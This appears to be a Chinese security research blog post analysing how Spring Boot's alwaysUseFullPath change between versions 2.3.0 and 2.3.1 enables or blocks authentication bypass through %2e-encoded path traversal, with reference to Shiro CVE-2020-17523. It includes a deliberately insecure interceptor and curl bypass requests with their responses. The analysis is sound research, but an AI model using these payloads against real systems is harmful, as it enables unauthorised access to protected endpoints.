作者 | Ruilin
alwaysUseFullPath
爲默認值false,這會使得其獲取ServletPath,所以在路由匹配時相當於會進行路徑標準化包括對
%2e
解碼以及處理跨目錄,這可能導致身份驗證繞過。
alwaysUseFullPath
自動配置成了true從而開啓全路徑,又可能導致一些安全問題。
<parent>
<groupId>org.springframework.boot
</groupId>
<artifactId>spring-boot-starter-parent
</artifactId>
<version>2.3.0.RELEASE
</version>
<relativePath/>
<!-- lookup parent from repository -->
</parent>
@RestController
public
class httpbinController {
@RequestMapping(value =
"no-auth", method = RequestMethod.GET)
public String noAuth() {
return
"no-auth";
}
@RequestMapping(value =
"auth", method = RequestMethod.GET)
public String auth() {
return
"auth";
}
}
@Configuration
public
class WebMvcConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(handlerInterceptor())
//配置攔截規則
.addPathPatterns(
"/**");
}
@Bean
public HandlerInterceptor handlerInterceptor() {
return
new PermissionInterceptor();
}
}
@Component
public
class PermissionInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) throws Exception {
String uri = request.getRequestURI();
uri = uri.replaceAll(
"//",
"/");
System.out.println(
"RequestURI: "+uri);
if (uri.contains(
"..") || uri.contains(
"./") ) {
return
false;
}
if (uri.startsWith(
"/no-auth")){
return
true;
}
return
false;
}
}
startsWith
,
contains
這樣的判斷方式,顯然這是不安全的,我們繞過方式由很多比如
..
或
..;
等,但其實在用
startsWith
來判斷白名單時構造都離不開跨目錄的符號
..
那麼像上述代碼這種情況又如何來繞過呢?答案就是
%2e
發起請求如下
$ curl -v
"http://127.0.0.1:8080/no-auth/%2e%2e/auth"
* Trying 127.0.0.1...
* TCP_NODELAY
set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (
#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 4
< Date: Wed, 14 Apr 2021 13:22:03 GMT
<
* Connection
#0 to host 127.0.0.1 left intact
auth
* Closing connection 0
RequestURI: /no-auth/%2e%2e/auth
%2e%2e
繞過了PermissionInterceptor的判斷,同時匹配路由成功,很顯然應用在進行路由匹配時會進行路徑標準化包括對
%2e
解碼以及處理跨目錄即如果存在
/../
則返回上一級目錄。
<version>2.3.1.RELEASE
</version>
$ curl -v
"http://127.0.0.1:8080/no-auth/%2e%2e/auth"
* Trying 127.0.0.1...
* TCP_NODELAY
set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (
#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 404
< Vary: Origin
< Vary: Access-Control-Request-Method
< Vary: Access-Control-Request-Headers
< Content-Length: 0
< Date: Wed, 14 Apr 2021 13:17:26 GMT
<
* Connection
#0 to host 127.0.0.1 left intact
* Closing connection 0
RequestURI: /no-auth/%2e%2e/auth
%2e
解碼以及處理跨目錄,這可能導致身份驗證繞過。那麼又爲什麼會這樣?
org.springframework.web.util.UrlPathHelper#getLookupPathForRequest(javax.servlet.http.HttpServletRequest)
這裏就出現有趣的現象,在2.3.0.RELEASE中
alwaysUseFullPath
爲默認值false
alwaysUseFullPath
被設置成了true
getPathWithinApplication
而另一個走向了
getPathWithinServletMapping
在
getPathWithinServletMapping
中會獲取ServletPath,ServletPath會對uri標準化包括先解碼然後處理跨目錄等,這個很多講Tomcat uri差異的文章都提過了,就不多說了。而
getPathWithinApplication
中主要是先獲取RequestURI然後解碼但之後沒有再次處理跨目錄,所以保留了
..
因此無法準確匹配到路由。到這裏我們可以看到這兩者的不同,也解釋了最終出現繞過情況的原因。
alwaysUseFullPath
爲默認值false,這會使得其獲取ServletPath,所以在路由匹配時相當於會進行路徑標準化包括對
%2e
解碼以及處理跨目錄,這可能導致身份驗證繞過。
alwaysUseFullPath
$ curl -v http://127.0.0.1:8080/admin/%2e
* Trying 127.0.0.1...
* TCP_NODELAY
set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (
#0)
> GET /admin/%2e HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 10
< Date: Wed, 14 Apr 2021 13:48:33 GMT
<
* Connection
#0 to host 127.0.0.1 left intact
admin page* Closing connection 0
alwaysUseFullPath
會被設置成true呢?這就要追溯到
org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration.WebMvcAutoConfigurationAdapter#configurePathMatch
在spring-boot-autoconfigure-2.3.0.RELEASE中
spring.mvc.servlet.path=/test/
alwaysUseFullPath
爲默認值false,這會使得其獲取ServletPath,所以在路由匹配時相當於會進行路徑標準化包括對
%2e
解碼以及處理跨目錄,這可能導致身份驗證繞過。而高版本爲了提高效率對
alwaysUseFullPath
自動配置成了true從而開啓全路徑,這又造就了Shiro的CVE-2020-17523中在配置不當情況下的一個利用姿勢,如果代碼中沒有提供對此類參數的判斷支持,那麼就可能會存在安全隱患。其根本原因是Spring Boot自動配置的內容發生了變化。
往期推薦
本文分享自微信公衆號 - 俠夢的開發筆記(xmdevnote)。
如有侵權,請聯繫 [email protected] 刪除。
本文參與“OSC源創計劃”,歡迎正在閱讀的你也加入,一起分享。